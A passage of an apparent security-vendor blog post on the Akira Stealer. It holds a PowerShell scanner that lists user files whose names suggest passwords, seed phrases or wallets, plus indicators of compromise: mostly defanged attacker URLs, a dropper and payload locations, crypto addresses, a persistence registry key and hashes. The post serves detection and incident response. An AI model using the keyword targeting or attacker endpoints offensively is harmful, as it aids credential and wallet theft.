-------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[579,11535,11536,11541,11546,11551,11555,11560,11565,11570,11575,11580,11585,11589,11594,11599,11604,11608,11613,11618,11622,11627,11632,11637,11642,11647,11651,11656,11661,11666,11670,11674,11679,11683,11688,11692,11697,11702,11707,11712,11717,11722,11727,11731,11736,11741,11746,11751,11756,11761,11766,11771,11776,11780,11785,11790,11794,11799,11804,11809,11814,11819,11824,11829,11834,11838,11842,11846,11851,11855,11860,11865,11870,11874,11879,11884,11889,11894,11899,11904,11909,11915,11920,11926,11931,11937,11943,11948,11953,11959],{"__ignoreMap":530},[1710,11537,11538],{"class":1712,"line":1713},[1710,11539,11540],{},"\u003C#\n",[1710,11542,11543],{"class":1712,"line":531},[1710,11544,11545],{},".SYNOPSIS\n",[1710,11547,11548],{"class":1712,"line":2094},[1710,11549,11550],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1710,11552,11553],{"class":1712,"line":2100},[1710,11554,3877],{"emptyLinePlaceholder":325},[1710,11556,11557],{"class":1712,"line":2420},[1710,11558,11559],{},".DESCRIPTION\n",[1710,11561,11562],{"class":1712,"line":2426},[1710,11563,11564],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1710,11566,11567],{"class":1712,"line":3084},[1710,11568,11569],{},"      • Contain one of the defined keywords in their name\n",[1710,11571,11572],{"class":1712,"line":3880},[1710,11573,11574],{},"      • Have an allowed file extension\n",[1710,11576,11577],{"class":1712,"line":3886},[1710,11578,11579],{},"      • Are not larger than 2 MB\n",[1710,11581,11582],{"class":1712,"line":4131},[1710,11583,11584],{},"    Presents the results in a colored, tabular overview.\n",[1710,11586,11587],{"class":1712,"line":5055},[1710,11588,3877],{"emptyLinePlaceholder":325},[1710,11590,11591],{"class":1712,"line":5061},[1710,11592,11593],{},".NOTES\n",[1710,11595,11596],{"class":1712,"line":5067},[1710,11597,11598],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1710,11600,11601],{"class":1712,"line":5073},[1710,11602,11603],{},"#>\n",[1710,11605,11606],{"class":1712,"line":5079},[1710,11607,3877],{"emptyLinePlaceholder":325},[1710,11609,11610],{"class":1712,"line":5085},[1710,11611,11612],{},"# -------------------------------------\n",[1710,11614,11615],{"class":1712,"line":5091},[1710,11616,11617],{},"# 1. Configuration\n",[1710,11619,11620],{"class":1712,"line":5097},[1710,11621,11612],{},[1710,11623,11624],{"class":1712,"line":5103},[1710,11625,11626],{},"$scanFolders = @(\n",[1710,11628,11629],{"class":1712,"line":5109},[1710,11630,11631],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1710,11633,11634],{"class":1712,"line":5115},[1710,11635,11636],{},"    \"$env:USERPROFILE\\Documents\",\n",[1710,11638,11639],{"class":1712,"line":5121},[1710,11640,11641],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1710,11643,11644],{"class":1712,"line":5127},[1710,11645,11646],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1710,11648,11649],{"class":1712,"line":5133},[1710,11650,5274],{},[1710,11652,11653],{"class":1712,"line":5139},[1710,11654,11655],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1710,11657,11658],{"class":1712,"line":5806},[1710,11659,11660],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1710,11662,11663],{"class":1712,"line":5811},[1710,11664,11665],{},"$maxSize    = 2MB\n",[1710,11667,11668],{"class":1712,"line":5816},[1710,11669,3877],{"emptyLinePlaceholder":325},[1710,11671,11672],{"class":1712,"line":5821},[1710,11673,11612],{},[1710,11675,11676],{"class":1712,"line":5827},[1710,11677,11678],{},"# 2. Scan and Collect Matches\n",[1710,11680,11681],{"class":1712,"line":5832},[1710,11682,11612],{},[1710,11684,11685],{"class":1712,"line":5837},[1710,11686,11687],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1710,11689,11690],{"class":1712,"line":5842},[1710,11691,3877],{"emptyLinePlaceholder":325},[1710,11693,11694],{"class":1712,"line":5847},[1710,11695,11696],{},"foreach ($folder in $scanFolders) {\n",[1710,11698,11699],{"class":1712,"line":5852},[1710,11700,11701],{},"    if (-not (Test-Path $folder)) { continue }\n",[1710,11703,11704],{"class":1712,"line":5857},[1710,11705,11706],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1710,11708,11709],{"class":1712,"line":5863},[1710,11710,11711],{},"        # 2.1 Extension filter\n",[1710,11713,11714],{"class":1712,"line":5869},[1710,11715,11716],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1710,11718,11719],{"class":1712,"line":5875},[1710,11720,11721],{},"        # 2.2 Size filter\n",[1710,11723,11724],{"class":1712,"line":5880},[1710,11725,11726],{},"        if ($_.Length -gt $maxSize) { return }\n",[1710,11728,11729],{"class":1712,"line":5885},[1710,11730,3877],{"emptyLinePlaceholder":325},[1710,11732,11733],{"class":1712,"line":5890},[1710,11734,11735],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1710,11737,11738],{"class":1712,"line":5895},[1710,11739,11740],{},"        $hit = $null\n",[1710,11742,11743],{"class":1712,"line":5901},[1710,11744,11745],{},"        foreach ($kw in $keywords) {\n",[1710,11747,11748],{"class":1712,"line":5906},[1710,11749,11750],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1710,11752,11753],{"class":1712,"line":5911},[1710,11754,11755],{},"                $hit = $kw\n",[1710,11757,11758],{"class":1712,"line":5916},[1710,11759,11760],{},"                break\n",[1710,11762,11763],{"class":1712,"line":5921},[1710,11764,11765],{},"            }\n",[1710,11767,11768],{"class":1712,"line":5926},[1710,11769,11770],{},"        }\n",[1710,11772,11773],{"class":1712,"line":5931},[1710,11774,11775],{},"        if (-not $hit) { return }\n",[1710,11777,11778],{"class":1712,"line":5937},[1710,11779,3877],{"emptyLinePlaceholder":325},[1710,11781,11782],{"class":1712,"line":5943},[1710,11783,11784],{},"        # 2.4 Build relative path\n",[1710,11786,11787],{"class":1712,"line":5949},[1710,11788,11789],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1710,11791,11792],{"class":1712,"line":5955},[1710,11793,3877],{"emptyLinePlaceholder":325},[1710,11795,11796],{"class":1712,"line":5960},[1710,11797,11798],{},"        # 2.5 Collect\n",[1710,11800,11801],{"class":1712,"line":5965},[1710,11802,11803],{},"        $matches.Add([PSCustomObject]@{\n",[1710,11805,11806],{"class":1712,"line":5971},[1710,11807,11808],{},"            FileName    = $_.Name\n",[1710,11810,11811],{"class":1712,"line":5977},[1710,11812,11813],{},"            Location    = $rel\n",[1710,11815,11816],{"class":1712,"line":5983},[1710,11817,11818],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1710,11820,11821],{"class":1712,"line":5989},[1710,11822,11823],{},"            Keyword     = $hit\n",[1710,11825,11826],{"class":1712,"line":5994},[1710,11827,11828],{},"        })\n",[1710,11830,11831],{"class":1712,"line":5999},[1710,11832,11833],{},"    }\n",[1710,11835,11836],{"class":1712,"line":6005},[1710,11837,2429],{},[1710,11839,11840],{"class":1712,"line":6010},[1710,11841,3877],{"emptyLinePlaceholder":325},[1710,11843,11844],{"class":1712,"line":6015},[1710,11845,11612],{},[1710,11847,11848],{"class":1712,"line":6021},[1710,11849,11850],{},"# 3. Display Results\n",[1710,11852,11853],{"class":1712,"line":6027},[1710,11854,11612],{},[1710,11856,11857],{"class":1712,"line":6033},[1710,11858,11859],{},"clear\n",[1710,11861,11862],{"class":1712,"line":6038},[1710,11863,11864],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1710,11866,11867],{"class":1712,"line":6044},[1710,11868,11869],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1710,11871,11872],{"class":1712,"line":6050},[1710,11873,3877],{"emptyLinePlaceholder":325},[1710,11875,11876],{"class":1712,"line":6055},[1710,11877,11878],{},"if ($matches.Count -gt 0) {\n",[1710,11880,11881],{"class":1712,"line":6061},[1710,11882,11883],{},"    $matches |\n",[1710,11885,11886],{"class":1712,"line":6067},[1710,11887,11888],{},"        Sort-Object Location, FileName |\n",[1710,11890,11891],{"class":1712,"line":6072},[1710,11892,11893],{},"        Format-Table -AutoSize `\n",[1710,11895,11896],{"class":1712,"line":6077},[1710,11897,11898],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1710,11900,11901],{"class":1712,"line":6082},[1710,11902,11903],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1710,11905,11906],{"class":1712,"line":6088},[1710,11907,11908],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1710,11910,11912],{"class":1712,"line":11911},79,[1710,11913,11914],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1710,11916,11918],{"class":1712,"line":11917},80,[1710,11919,3877],{"emptyLinePlaceholder":325},[1710,11921,11923],{"class":1712,"line":11922},81,[1710,11924,11925],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1710,11927,11929],{"class":1712,"line":11928},82,[1710,11930,2429],{},[1710,11932,11934],{"class":1712,"line":11933},83,[1710,11935,11936],{},"else {\n",[1710,11938,11940],{"class":1712,"line":11939},84,[1710,11941,11942],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1710,11944,11946],{"class":1712,"line":11945},85,[1710,11947,2429],{},[1710,11949,11951],{"class":1712,"line":11950},86,[1710,11952,3877],{"emptyLinePlaceholder":325},[1710,11954,11956],{"class":1712,"line":11955},87,[1710,11957,11958],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1710,11960,11962],{"class":1712,"line":11961},88,[1710,11963,11964],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[854,11966],{"className":11967},[857,858],[557,11969,11971],{"id":11970},"_12-utover-respons-slik-gjør-glueckkanja-csoc-hendelser-om-til-innsikt","12. Utover respons - slik gjør glueckkanja CSOC hendelser om til innsikt",[526,11973,563],{},[526,11975,11976,11977],{},"De fleste security operations centers stopper ved containment.\n",[568,11978,11979],{},"Vi gjør ikke det.",[526,11981,11982],{},"Hos glueckkanja CSOC mener vi at incident response ikke er målstreken, den er startpunktet.",[526,11984,11985],{},"Når andre erklærer seier og går videre, graver vi dypere. For oss er hver hendelse en anledning til å lære, tilpasse oss og bli sterkere. Den utrettelige nysgjerrigheten vår, drevet av mange år med dyp forensisk kompetanse og reverse engineering-kapasitet, gjør at vi ikke bare forsvarer, vi forutser.",[526,11987,11988,11989,614],{},"Denne tenkningen er grunnen til at vi bygde ",[568,11990,11991],{},"Akira Compromise Reporter",[526,11993,11994],{},"Dette forensiske verktøyet er utviklet internt, og det går langt utover grunnleggende deteksjon: det bruker vår inngående kunnskap om Akira Stealer til å gi full klarhet i hvilke data som er kompromittert. I løpet av minutter produserer det et presist og handlingsrettet øyeblikksbilde av hele omfanget av hendelsen:",[631,11996,11997,12000,12003],{},[634,11998,11999],{},"Nøyaktig hvilke credentials, tokens og nettlesersesjoner som ble stjålet.",[634,12001,12002],{},"Nøyaktig hvilke kryptovaluta-lommebøker, meldingskontoer og filer som ble eksponert.",[634,12004,12005],{},"En tydelig, strukturert og detaljert forensisk rapport som gjør usikkerhet om til umiddelbar, velinformert handling.",[526,12007,12008],{},[775,12009],{"alt":12010,"src":12011},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[526,12013,12014],{},"For hos glueckkanja måler vi suksessen vår ikke bare i antall blokkerte trusler, men i den klarheten vi gir. Cybersikkerhet gjort riktig handler ikke om bare å reagere på hendelser, det handler om å forstå, tilpasse seg og alltid ligge ett skritt foran.",[526,12016,12017],{},[568,12018,12019],{},"Det er forskjellen med glueckkanja CSOC.",[557,12021,12023],{"id":12022},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[526,12025,563],{},[526,12027,12028],{},"Under følger en omfattende, ordrett samling av IOC-er hentet direkte ut av malware-koden under vår interne reverse engineering-prosess hos glueckkanja CSOC. Ingen antakelser eller eksterne threat intel-kilder er brukt, alle indikatorer er bekreftede funn. Alle URL-er er obfuskert med vilje for å hindre klikk ved et uhell.",[526,12030,12031],{},[568,12032,12033],{},"Abbreviations:",[631,12035,12036,12042],{},[634,12037,12038,12041],{},[568,12039,12040],{},"TG:"," Telegram reporting channel",[634,12043,12044,12047],{},[568,12045,12046],{},"Alt:"," Alternate (fallback) endpoint",[741,12049,12051],{"id":12050},"_1-domener-og-url-er","1. Domener og URL-er",[526,12053,747],{},[1418,12055,4710,12057],{"className":12056,"style":11131},[11130],[1434,12058,12059,4710,12072,4710,12085,4710,12098,4710,12111,4710,12124,4710,12137,4710,12150,4710,12165,4710,12181,4710,12194,4710,12207,4710,12220,4710,12233,4710,12246,4710,12259,4710,12272,4710,12285,4710,12298,4710,12311,4710,12325,4710,12338],{},[1424,12060,4715,12061,4715,12065,4715,12069,4710],{},[1427,12062,12064],{"style":12063},"text-align: left; width: 18%;","Kategori",[1427,12066,12068],{"style":12067},"text-align: left; width: 52%;","Obfuskert URL",[1427,12070,12071],{},"Beskrivelse",[1424,12073,4715,12074,4715,12077,4715,12082,4710],{},[1439,12075,12076],{},"Primær injeksjon",[1439,12078,12079],{},[579,12080,12081],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1439,12083,12084],{},"Angriperens første webhook-endepunkt",[1424,12086,4715,12087,4715,12090,4715,12095,4710],{},[1439,12088,12089],{},"Fallback-injeksjon",[1439,12091,12092],{},[579,12093,12094],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1439,12096,12097],{},"Alternativt injector-endepunkt",[1424,12099,4715,12100,4715,12103,4715,12108,4710],{},[1439,12101,12102],{},"Feilrapportering (TG)",[1439,12104,12105],{},[579,12106,12107],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1439,12109,12110],{},"URL for Telegram-feilmeldinger og logger",[1424,12112,4715,12113,4715,12116,4715,12121,4710],{},[1439,12114,12115],{},"Feilrapportering (Alt)",[1439,12117,12118],{},[579,12119,12120],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1439,12122,12123],{},"Alternativ URL for feilmeldinger og logger",[1424,12125,4715,12126,4715,12129,4715,12134,4710],{},[1439,12127,12128],{},"Vanity-bot (TG)",[1439,12130,12131],{},[579,12132,12133],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1439,12135,12136],{},"Endepunkt for varsling om vanity-adresser",[1424,12138,4715,12139,4715,12142,4715,12147,4710],{},[1439,12140,12141],{},"Vanity-bot (Alt)",[1439,12143,12144],{},[579,12145,12146],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1439,12148,12149],{},"Alternativt endepunkt for vanity-varsling",[1424,12151,4715,12152,4715,12155,4715,12160,4710],{},[1439,12153,12154],{},"Exodus-injeksjon",[1439,12156,12157],{},[579,12158,12159],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1439,12161,12162,12163],{},"Electron-appmodul for ",[579,12164,4613],{},[1424,12166,4715,12167,4715,12170,4715,12175,4710],{},[1439,12168,12169],{},"Atomic-injeksjon",[1439,12171,12172],{},[579,12173,12174],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1439,12176,12177,12178],{},"Electron-modul for ",[579,12179,12180],{},"AtomicWallet",[1424,12182,4715,12183,4715,12186,4715,12191,4710],{},[1439,12184,12185],{},"Nedlasting av Updater",[1439,12187,12188],{},[579,12189,12190],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1439,12192,12193],{},"Kjørbar persistence-dropper",[1424,12195,4715,12196,4715,12199,4715,12204,4710],{},[1439,12197,12198],{},"Gofile API-liste",[1439,12200,12201],{},[579,12202,12203],{},"https[:]//api.gofile[.]io/servers",[1439,12205,12206],{},"Henter beste GoFile-opplastingsserver",[1424,12208,4715,12209,4715,12212,4715,12217,4710],{},[1439,12210,12211],{},"Sjekk av Discord-token",[1439,12213,12214],{},[579,12215,12216],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1439,12218,12219],{},"Validerer stjålet Discord-token",[1424,12221,4715,12222,4715,12225,4715,12230,4710],{},[1439,12223,12224],{},"Discord faktureringsinfo",[1439,12226,12227],{},[579,12228,12229],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1439,12231,12232],{},"Henter betalingsmetoder",[1424,12234,4715,12235,4715,12238,4715,12243,4710],{},[1439,12236,12237],{},"Replay av Google OAuth",[1439,12239,12240],{},[579,12241,12242],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1439,12244,12245],{},"Spiller av stjålne Google-sesjonstokens",[1424,12247,4715,12248,4715,12251,4715,12256,4710],{},[1439,12249,12250],{},"IP-sjekk (hosting)",[1439,12252,12253],{},[579,12254,12255],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1439,12257,12258],{},"Deteksjon av hosting-miljø",[1424,12260,4715,12261,4715,12264,4715,12269,4710],{},[1439,12262,12263],{},"IP-oppslag (geo)",[1439,12265,12266],{},[579,12267,12268],{},"http[:]//ip-api[.]com/json/{ip}",[1439,12270,12271],{},"Geolokalisering etter IP",[1424,12273,4715,12274,4715,12277,4715,12282,4710],{},[1439,12275,12276],{},"Henting av offentlig IP",[1439,12278,12279],{},[579,12280,12281],{},"https[:]//api[.]ipify[.]org",[1439,12283,12284],{},"Henter ekstern IP-adresse",[1424,12286,4715,12287,4715,12290,4715,12295,4710],{},[1439,12288,12289],{},"File.io-opplasting",[1439,12291,12292],{},[579,12293,12294],{},"https[:]//file[.]io/",[1439,12296,12297],{},"Sekundær eksfiltreringskanal",[1424,12299,4715,12300,4715,12303,4715,12308,4710],{},[1439,12301,12302],{},"Oshi.at-opplasting",[1439,12304,12305],{},[579,12306,12307],{},"http[:]//oshi[.]at/",[1439,12309,12310],{},"Tertiær eksfiltreringskanal",[1424,12312,4715,12313,4715,12316,4715,12322,4710],{},[1439,12314,12315],{},"JS-dropper, primær",[1439,12317,12318],{},[720,12319,12321],{"href":12320,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1439,12323,12324],{},"Ekstern referanse til den faktiske ZIP-URL-en",[1424,12326,4715,12327,4715,12330,4715,12335,4710],{},[1439,12328,12329],{},"JS-dropper, fallback 1",[1439,12331,12332],{},[720,12333,12334],{"href":3624,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1439,12336,12337],{},"Alternativ payload-ZIP",[1424,12339,4715,12340,4715,12343,4715,12348,4710],{},[1439,12341,12342],{},"JS-dropper, fallback 2",[1439,12344,12345],{},[720,12346,12347],{"href":3629,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1439,12349,12350],{},"Sekundær reserve-payload-ZIP",[854,12352],{"className":12353},[857,858],[741,12355,12357],{"id":12356},"_2-kryptovaluta-adresser","2. Kryptovaluta-adresser",[526,12359,747],{},[1418,12361,4710,12363],{"className":12362,"style":11131},[11130],[1434,12364,12365,4710,12373,4710,12383,4710,12393,4710,12403,4710,12412,4710,12422,4710,12432,4710,12442,4710,12452,4710,12462],{},[1424,12366,4715,12367,4715,12370,4710],{},[1427,12368,12369],{"style":11142},"Valuta",[1427,12371,12372],{},"Adresse",[1424,12374,4715,12375,4715,12378,4710],{},[1439,12376,12377],{},"BTC",[1439,12379,12380],{},[579,12381,12382],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1424,12384,4715,12385,4715,12388,4710],{},[1439,12386,12387],{},"ETH",[1439,12389,12390],{},[579,12391,12392],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1424,12394,4715,12395,4715,12398,4710],{},[1439,12396,12397],{},"DOGE",[1439,12399,12400],{},[579,12401,12402],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1424,12404,4715,12405,4715,12408,4710],{},[1439,12406,12407],{},"LTC",[1439,12409,12410],{},[579,12411,11173],{},[1424,12413,4715,12414,4715,12417,4710],{},[1439,12415,12416],{},"XMR",[1439,12418,12419],{},[579,12420,12421],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1424,12423,4715,12424,4715,12427,4710],{},[1439,12425,12426],{},"BCH",[1439,12428,12429],{},[579,12430,12431],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1424,12433,4715,12434,4715,12437,4710],{},[1439,12435,12436],{},"DASH",[1439,12438,12439],{},[579,12440,12441],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1424,12443,4715,12444,4715,12447,4710],{},[1439,12445,12446],{},"TRX",[1439,12448,12449],{},[579,12450,12451],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1424,12453,4715,12454,4715,12457,4710],{},[1439,12455,12456],{},"XRP",[1439,12458,12459],{},[579,12460,12461],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1424,12463,4715,12464,4715,12467,4710],{},[1439,12465,12466],{},"XLM",[1439,12468,12469],{},[579,12470,12471],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[854,12473],{"className":12474},[857,858],[741,12476,12478],{"id":12477},"_3-registernøkler-og-stier","3. Registernøkler og stier",[526,12480,747],{},[1418,12482,4710,12484],{"className":12483,"style":11131},[11130],[1434,12485,12486,4710,12494,4710,12504,4710,12514,4710,12527],{},[1424,12487,4715,12488,4715,12492,4710],{},[1427,12489,12491],{"style":12490},"text-align: left; width: 60%;","Registersti",[1427,12493,1211],{},[1424,12495,4715,12496,4715,12501,4710],{},[1439,12497,12498],{},[579,12499,12500],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1439,12502,12503],{},"Ser etter signatur for virtuell GPU-driver",[1424,12505,4715,12506,4715,12511,4710],{},[1439,12507,12508],{},[579,12509,12510],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1439,12512,12513],{},"Ser etter navnet på virtuell GPU-leverandør",[1424,12515,4715,12516,4715,12524,4710],{},[1439,12517,12518,12521,12522,1140],{},[579,12519,12520],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (verdi ",[568,12523,1690],{},[1439,12525,12526],{},"Persistence via Run-nøkkel (Updater.exe)",[1424,12528,4715,12529,4715,12533,4710],{},[1439,12530,12531],{},[579,12532,1698],{},[1439,12534,12535],{},"Kjørbar fil for persistence",[854,12537],{"className":12538},[857,858],[741,12540,12542],{"id":12541},"_5-filer-og-hasher","5. Filer og hasher",[526,12544,747],{},[1418,12546,4710,12548],{"className":12547,"style":11131},[11130],[1434,12549,12550,4710,12562,4710,12574,4710,12586,4710,12599,4710,12611,4710,12623,4710,12635,4710,12647,4710,12660,4710,12672,4710,12685,4710,12697],{},[1424,12551,4715,12552,4715,12555,4715,12559,4710],{},[1427,12553,12554],{"style":12063},"Filnavn",[1427,12556,12558],{"style":12557},"text-align: left; width: 62%;","SHA256",[1427,12560,12561],{},"Størrelse (bytes)",[1424,12563,4715,12564,4715,12566,4715,12571,4710],{},[1439,12565,1852],{},[1439,12567,12568],{},[579,12569,12570],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1439,12572,12573],{},"63936274",[1424,12575,4715,12576,4715,12578,4715,12583,4710],{},[1439,12577,606],{},[1439,12579,12580],{},[579,12581,12582],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1439,12584,12585],{},"162036224",[1424,12587,4715,12588,4715,12591,4715,12596,4710],{},[1439,12589,12590],{},"jscrypter.js",[1439,12592,12593],{},[579,12594,12595],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1439,12597,12598],{},"1429",[1424,12600,4715,12601,4715,12603,4715,12608,4710],{},[1439,12602,2840],{},[1439,12604,12605],{},[579,12606,12607],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1439,12609,12610],{},"30138",[1424,12612,4715,12613,4715,12615,4715,12620,4710],{},[1439,12614,2837],{},[1439,12616,12617],{},[579,12618,12619],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1439,12621,12622],{},"7155",[1424,12624,4715,12625,4715,12627,4715,12632,4710],{},[1439,12626,2765],{},[1439,12628,12629],{},[579,12630,12631],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1439,12633,12634],{},"211",[1424,12636,4715,12637,4715,12639,4715,12644,4710],{},[1439,12638,610],{},[1439,12640,12641],{},[579,12642,12643],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1439,12645,12646],{},"205210",[1424,12648,4715,12649,4715,12652,4715,12657,4710],{},[1439,12650,12651],{},"exodus.asar",[1439,12653,12654],{},[579,12655,12656],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1439,12658,12659],{},"132486332",[1424,12661,4715,12662,4715,12664,4715,12669,4710],{},[1439,12663,1910],{},[1439,12665,12666],{},[579,12667,12668],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1439,12670,12671],{},"28454",[1424,12673,4715,12674,4715,12677,4715,12682,4710],{},[1439,12675,12676],{},"download.dat",[1439,12678,12679],{},[579,12680,12681],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1439,12683,12684],{},"21142",[1424,12686,4715,12687,4715,12689,4715,12694,4710],{},[1439,12688,2898],{},[1439,12690,12691],{},[579,12692,12693],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1439,12695,12696],{},"32375391",[1424,12698,4715,12699,4715,12701,4715,12706,4710],{},[1439,12700,602],{},[1439,12702,12703],{},[579,12704,12705],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1439,12707,12708],{},"37652937",[854,12710],{"className":12711},[857,858],[741,12713,12715],{"id":12714},"_5-discord-og-telegram-identifikatore